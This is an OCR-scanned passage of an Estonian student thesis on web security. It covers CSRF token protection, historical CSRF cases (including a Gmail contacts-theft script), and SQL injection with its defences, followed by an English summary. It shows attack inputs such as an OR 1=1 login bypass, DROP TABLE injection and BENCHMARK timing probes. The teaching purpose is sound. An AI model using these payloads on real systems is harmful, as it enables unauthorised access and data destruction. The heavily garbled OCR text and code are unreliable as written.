siis CSRF haavatavust on raskem leida. Tuleb linksgundada oma rakendus vastavalt, et
see ei alluks antud rinnakuttibile. CSRF runnakibdviia on ka keerulisem, sest enamasti
nduab see psuhholoogilisi nippe — et panna kasutaja rindekoodiga lehte kilastama voi
kahtlast linki vajutama. Sel pdhjusel on CSRF sdaraivahem tahelepanu kui méned muud
rindettidibid. Ometi on tegu aga ohtliku probleemidaina ideeliselt saab riindaja saavutada
Ukskdik mida, milleks on veebilehe kasutajatel 8igWeebilehe turvaliseks tegemisest

lahemalt voib lugeda jargmises peatukis.
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3.2 CSRF vastu kaitsmine

Nagu eelmises peatukis mainitud, siis andmeid natatparingute puhul on alati soovitatav
kasutada POST meetodit — see valistab lihtsamaidakud. See oleks esmane kaitse, millest
aga on voOimalik médda saada. Parim viis, kuidas tenunma veebilehel sooritatavad
toimingud turvaliseks, ja tagada et vastavad padnylevad ainult turvalisest allikast, oleks
aga lisada iga péringu juurde moni pseudojuhusitdnzetiikk voi turvakood, mida riindajad
ara arvata ei oska Paringu vastu votmisel tuleks siis lihtsalt koflitda, kas paringuga
saadeti kaasa Oige turvakood, ja vastavalt kastadarparing voi mitte.

EE%EEPOST['data'])

if(lempty($_SESSION['formtoken']) && $_POST['formtoken'] ==
$_SESSION[ 'formtoken'])

//muuda andmeid
else
//ilmselt voltspdring
¥ .
$formtoken = unigid(md5(mt_rand()), true);
$_SESSION['formtoken'] = $formtoken;
?>
<form action="<?=$_SERVER[ 'PHP_SELF']?>" method="POST">
<input type="hidden" name="formtoken" value="<?=$formtoken?>" />
<input type="text" name="data" />

<input type="submit" />
</form>

Koodinaide 1— CSRF kindel vorm

Selle vormi turvakoodi genereerimisel on mitmeidwaélusi. Naiteks, voib koodi genereerida
sessiooni loomisel (kasutaja esmakordsel kulastebel) ning seda edaspidi iga paringuga
kasutada; vBi genereerida iga paringuga uus kodtisélt on iihe sessiooni kohta tiks kood
piisavalt turvaline, kuigi vdib juhtuda, et rindaelle teada saab ja enne sessiooni |6ppu seda
rakendada jouab — mist6ttu kdige turvalisem onpganguga uus kood genereerida. Kui on
aga iga paringuga eraldi kood, tekib lehe kasutetega probleeme, st browseris "tagasi”-
nuppu vajutades ja mitut tabi korraga kasutadels tgkkida juhuseid, kus vormi saatmine ei

onnestu ka korrektse paringu korral.
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3.3 CSRF Juhtumeid

2007 aasta alguses leiti CSRF auk Gmailist, mid&kasutades sai ligipaasu koikidele konto
kontaktidele. Google'ill oli URL, mille laadimisehistulemuseks JavaScripti koodi kdigi

sisseloginud kasutaja kontaktidéga

/ /http://docs.google.com/data/contacts?
out=js&show=ALL&psort=Affinity&callback=google&max= 99999 vastus:

google ({
Success: true,
Errors: [],

/lJavascripti massiiv, mis sisaldab kontakte

D

Koodinaide 1— Gmaili kontaktide paljastumine

Seega, selleks et saada teada kellegi kontaktidapiult koostama sellise lehe ning laskma

kellelgi seda kilastada, olles Google kontoga dageud:

<script type= "text/javascript" >

function google(data){
/lkuna jargnev skript kutsub vélja funktsiooni "goo gle", pannes
llparameetriks andmed, siis deklareerime selle funk tsiooni siin,
/lja edastame andmed monele spami saatjale

}

</script>

<script type= "text/javascript" src= "http://docs.google.com/data/contacts?

out=js&show=ALL&psort=Affinity&callback=google&max= 99999" ></script>

Koodinaide 2— Gmaili kontaktide varastamine

CSRF auke on esinenud veel paljudes teistes papataa veebilehtedes. Naiteks 2008 aastal
tuldi valja avastusega, et YouTube-s alluvad pea&éik kasutaja tehtavad tegevused sellele
riinnakule. Uks ohtlikemaid juhtumeid leiti samallajga ING Directiga, mille turvaauk

lubas isegi lubamata makseid teha, ehk paris rajuddda*.

Eelpool mainitud naited on dnneks muidugi praegsigeitandatud.

Fakt, et isegi Google ja YouTube ei ole suutnudeksélle probleemi suhtes turvalisi
lahendusi luua, naitab, et CSRF-ile on liiga vétteetepanu pooratud. Kui vaadata Google
Trends-ist®, kui palju CSRF inimesi huvitab, vorreldes nait&GL Injectioni ja XSS-iga, on
olukord nukker, arvestades teema t0sidust. Seet@bdndada, et tdsiseid analoogne eelpool

mainitutele leitakse tulevikus veelgi.
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4. SQL Injection

4.1 Ulevaade SQL Injectionist

SQL injection on nimetus rinnakute kohta, millenales seisneb oma SQL koodi sisestamises
veebilehe andmebaasiparingutesse. Enamus veebilghbtavad kasutajatelt vastu

informatsiooni, lasevad neil vastavalt mingitelegmaeetritele sisestada voi lugeda andmeid,
ja kui veebileht on kodeeritud ebaturvaliselt, v@abdmesisendiga méangides saavutada

olukordi, mis ei tohiks olla tavakasutajale voirkatl.

Kujutleme naiteks sellist koodi, veebilehte sissgirhiseks:

<?php
$username = $_POST['username'];
$password = $_POST[ 'password'];

$q = mysql_query("SELECT * FROM users WHERE username='".$username."'

AND password="".md5($password).""'");
$result = mysql_fetch_array($q);
if(is_array($result) && count($result)) //kui sellisele kasutajale ja

//paroolile on tulemus olemas,
$_SESSION['logged_in'] = true; //siis mdrgime sisse logituks

7>
Koodinaide 1-— ebaturvaline sisselogimise skript

Sellise sisse logimise vormiga oleks voimalik s&llsisend ja tulemus:

#sisend kasutajanimeks:
blah' OR 1=1 —-

#tulemus pdringuks:
SELECT * FROM users WHERE username='blah' OR 1=1 -- ' AND password='...'

Koodinaide 2— SQL injection sisselogimisvormis

Tulemuseks saadud paring laseks iga parooli keisak logida, sest 1=1 vastab alati tdele, nii

et tulemus leitakse igasuguse sisendi puhul (SQbrggerib peale "--" tulevat paringu osa).
VGib loota, et sellist lahendust, nagu eelpool eé&ttoodud, reaalselt veebis ei esine. Naide

on toodud lihtsalt piltikustamaks probleemi. Sajmagikaelad on leidlikud, ja vGivad leida
augu ka korralikumalt kaitstud lahendusest.
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lImselt kdige ohtlikum olukord on siis, kui kaswtkse mdnda skriptikeele / andmebaasi
kombinatsiooni, mis véimaldab tUhe k&suga mitu SQtingut korraga teha. PHP ja MySQL

naiteks seda ei vdéimalda, kull aga PHP ja Postre8@llerinevad programmeerimiskeeled

SQL Server andmebaasidég&ui kasutaja poolt sisestatud parameetreid kidurtilei

turvata, voib kurikael neil juhtudel kaivitada GkKsk millist SQL paringut ta soovib.

#pdring, mis laeb nditeks artiklit ID jdrgi:
SELECT * FROM articles WHERE id = " 7 "

#sisend artikli ID-ks:
1"; DROP TABLE articles --

#tulemus pdringuks: ] _
SELECT * FROM articles WHERE id = "1"; DROP TABLE articles - "

Koodinaide 3- suvalise lubamata paringu kaivitamine

Kui tehniliselt pole véimalik mitut paringut korragkaivitada, kaob vabadus tkskdik mida
teha. Sellest hoolimata on valja mdeldud paljulilki@ lahendusi, kuidas saada keelatud
infot, end autoriseerida, vms, kasutades enda ekglmasaavutamiseks olemasolevaid

paringuid.

Kui ei ole kindlalt teada, kas SQL-i paringud oraebvalised — veateateid kasutajatele ei
kuvata vOi Uldse tagasisidet ei anta, siis on vbknteha rinnakuparinguid pimesi, ning

vOimalikust turvaaugust saadakse teada, Uritadesap8QL-i natuke aega ootama. Kui lehe
laadimisel tekib vastav ootaeg, on teada, et tegtuvaauguga. Juhul, kui SQL paringu vea

korral antakse teade, et juhtus viga, vdib turvaatiteada, tekitades vigane parihg.

#artikkel Taetakse selliselt URL-ilt
http://www.example.com/?articleID=??

#artikkel Taetakse sellise pdringuga
SELECT * FROM articles WHERE id='??"

#sisendeid artikli ID-ks, mille kaudu turvaauku leida:
http://www.example.com/?articleID="
http://www.example.com/?articleID="
http://www.example.com/?articleID=1' AND BENCHMARK(1000000,MD5(1)) —

#tulemused paringuks: ] _ _
SELECT * FROM articles WHERE id='"'" #vigane paring

#oleks vigane pdring, kui parameeter oleks eraldatud "-mdrkidega
SELECT * FROM articles WHERE id='""

#korralik pdring, aga Teht laeb ~10 sekundit kauem MySQL puhul, mis annab
marku turvaaugust (kasulik kui vigase pdringu korral tagasisidet ei anta)
SELECT * FROM articles WHERE id='1"' AND BENCHMARK(1000000,MD5(1))—- "

Koodinaide 4 — v6imalusi SQL péringu turvaaugu leidmiseks
“lllustreerivaks naiteks soovitaritp://xked.com/327/
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Turvalisemates lahendustes kontrollitakse, et lega\gisendis olevat jutumargid ei murraks
SQL péaringut. Samas, ka neil juhtudel on mitmeidmadusi, kuidas kurja teha, naiteks

kasutades teistes kodeeringutes simboleid.
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4.2 SQL Injection vastu kaitsmine

SQL injectioni vastu kaitsmiseks pdhiline téde, anjdba varem korratud, on see, et kogu
kasutaja sisendit tuleb kontrollida. Paringu paretmeé tuleb jutumarkidega paringus
eraldada, ja selleks et jutumarke ei saaks I0hkudist) kontrollida, et parameeter ei sisaldaks
kaitsmata jutumérke. PHP-I on vBimalus nagu magictes, mis tootleb koiki globaalseid
sisendmuutujaid, et neis oleks jutumarkidel \-mémgges. Samas, seda vbimalust ei soovitata
kasutada ja selle peale loota. Alates PHP versso@n8.0 on see vdimalus tldse iganéhud
Kui kasutatakse vanemat PHP versiooni, on soovitgee vdimalus ini seadetes maha

keerata. PHP ini seadete muutmise kohta saab lugégaunktis 1.1.

//postitati "mcdonald's"
echo $_POST['sisend']; //valjund mcdonald\'s

/% sama sisend, aga ini seadetes on magic quotes maha keeratud,
kas php.ini failis voi siis naditeks serveri kataloogis on
.htaccess fail sellise kirjega, kuna skripti kdigu pealt
selle seade muutmine ei aita: */

//htaccess rida
php_flag magic_quotes_gpc off

//tulemus
echo $_POST['sisend']; //vdljund mcdonald's

Koodinaide 1— PHP magic quotes kirjeldus

Vaike kirjeldus enne edasisist, kuidas jutumarledelgurpidi kaldkriipsu lisamine aitab SQL
injectioni vastu:

#pdring
SELECT * FROM articles WHERE id 7y

#ebaturvaline sisend ja pdring
1'; DROP TABLE articles --
SELECT * FROM articles WHERE id

'1'; DROP TABLE articles —- '
#sama sisend turvaliseks tehtult ja paring

1\' DROP TABLE articles -- .

SELECT * FROM articles WHERE id = 'l\' DROP TABLE articles - '

#kuna \' ei sulge jutumdrki, siis proovitakse leida artiklit,
#mille id on kogu see pikk sisendistring

Koodinaide 2— SQL sisendparameetri turvaliseks muutmine

Jutumarkide turvaliseks muutmiseks on voimalik kada ka PHP addslashes() funktsiooni,
mis teeb ainult Uhte — lisab lubamata sumbolitete &agurpidi kaldkriipsud, et need "ei

tootaks". Seda aga ei soovitata kasutada, sesgagllon leitud turvaauke. Kdige kindlam on
kasutada spetsiaalselt paringuparameetrite tuekalisegemiseks mdeldud funktsioone, nagu

mysql_real_escape_string(), sqlite_escape_ strijng¥,
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$q = mysql_query( "SELECT * FROM articles WHERE id='" .
mysql_real_escape_string( $id ) . "'" );

Koodinaide 3— sisendparameetrite korrektne turvaliseks muwgmin

Muidugi, kui parameeter peab olema néaiteks nunmailivdi sisaldama ainult teatud
sumboleid, vBib kontrollida, et selle kuju vastal@utule. Lisaks on aga veel iks viimalus,
kuidas enda paringuid turvalisemaks muuta, mis Oigek kindlam ja tagab et kellelgi ei
onnestu paringu struktuuri muuta. Selleks vOimdtasen kasutada parameteriseeritud
paringuid. Sellise koodi puhul teab andmebaas, afatiine osa paringust on paringu osa, ja
milline osa parameeter, ning ei lase teha midagianpole ette néhtud. Naide, mysqli ja

varem korduvalt nditena kasutatud paringu pohjal:

$id = $_GET['id'];
$mysqgli = new mysqli("localhost", "scriptuser", "script_pwd1l23", "db");
$q = $mysqli->prepare("SELECT * FROM articles WHERE 1id = ?");

$q->bind_param("s", $id);
$q->execute(;

Koodinaide 4 — veel (ks viis kuidas paringut turvaliseks muuta

Lihtsam viis, mis vajab vahem muutusi koodis, ondkasti kasutada parameetrite to6tlemist
mysql_real_escape_string vOi muu kontrolimeetodi, dtbige parem ja kindlam on aga

ehitada oma paringud nii, nagu eeltoodud naites.

Kokkuvdttes on SQL injectioni vastu viidelda suistt lintne, mis muudab kurvaks tdsiasja,
et selliseid rinnakuid on sellegipoolest interne@isnalik paljudes kohtades labi viia.
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Kokkuvote

Kéesoleva t66 eesmargiks oli uurida probleeme seistuvad veebirakenduste turvalisusega,
ja luua infomaterjal, milles peituva teabe rakens&hon vGimalik oma veebiprojekte
peamiste rindetllpide vastu kaitsta. Lahemaltwg#tiuag XSS, CSRF ja SQL Injection

rinnakuid.

Kindlasti on peale t606s kirjeldatu veel palju kiigsn millega arvestada, naiteks
failisiisteemiga seotud rinnakud. Samas, autorgnignl annab tulemus piisavalt hea
Ulevaate turbeprobleemide kohta, et kirjutatug&stamisel on loodav rakendus

elementaarselt turvaline, et véltida tdsisemasmnlemaid probleeme.

Kuna autori eesmark on t00s leiduv informatsioovéebis kattesaadavaks teha, siis selle
kaigus annaks kindlasti infot taiendada, eriti atades, et krakkerid on leidlikud ja
moeldakse valja vOi avastatakse Uha uusi turvaguikeeetodeid, kuidas méne
veebirakenduse autorile soovimatuid tegevusi saaait Edasiarendusena voib kaaluda ka
probleemile lahenemist teistsuguste vaatenurkadelali to6 oli kirjutatud silmas pidades
PHP programeerijat, siis Uletldiselt vdib sellinformatsioon kasuks tulla ka
projektijuhtidele, muude programmeerimiskeelte kajsiele, ning lihtsamas kasitluses ka

tavalisele veebikasutajale.
Kuna t66 autori eesmark tulevikuks on siduda erebiyrogrameerimisega, siis t60

kirjutamise kaigus tarbitud informatsioon omabed kindlasti isiklikku vaartust ja kasu,

ning téo kirjutamine aitas kaasa tema personaajagieofessionaalsele arengule.
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Summary

Most Common Application Logic Attacks Against Weages
Sten Schwede

Tallinn University

Web application security is an important issuanasy new websites appear on the Internet
every day, some of them made by professionalsyothenovices. The purpose of this study
is to provide the developers with vital informatithrey should take into consideration when

building their websites.

As PHP is the top web programming language, thdysgiwritten with PHP developers in

mind. All server-side code examples in this papera PHP.

The paper starts with an introduction to common teehnologies — PHP, SQL, HTTP
cookies and sessions. For each of those, a brest/@w of its history and logic is given,

followed by some security tips concerning the tetbgy.

The rest of the study consists of an in-depth amalyf three common attacks — SQL
injection, XSS and CSRF:

e XSS is an attack, which involves entering malicicade into a webpage. An example
would be a form for posting comments - when nottemi securely, an attacker might
post code to deface the website, gain unauthogzedss, or do something else nasty.
To be secure, all user input must be validatedhdke sure it contains only allowed
text or characters.

e An example for a CSRF attack: there's a webpagdéehdsaan url for deleting articles,
eg http://www.site.com/?delete=123. Now, assumiag &n administrator is logged in
there, an attacker tricks him into visiting thatonsddress. The result — an article is
deleted. To be safe from these kinds of attacksyel) forms that add, edit or delete
data should have some unique token sent with time, fand the action shouldn't be
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processed unless that token is correct (this asstimeokens are hard enough to
guess that attackers can't come up with them).

e SQL injection is essentially inserting attack caute a SQL query. Vulnerable are
queries, where some parameter to the query comesuser input. As XSS, this can
also be fixed by escaping user input, making suaedxternal data is secure. An other

option to prevent SQL injection is to use parameger queries.

In conclusion, the study gives some basic tipsideds, how some common attacks are

carried out, and how to make sure your web appticatare safe and secure.
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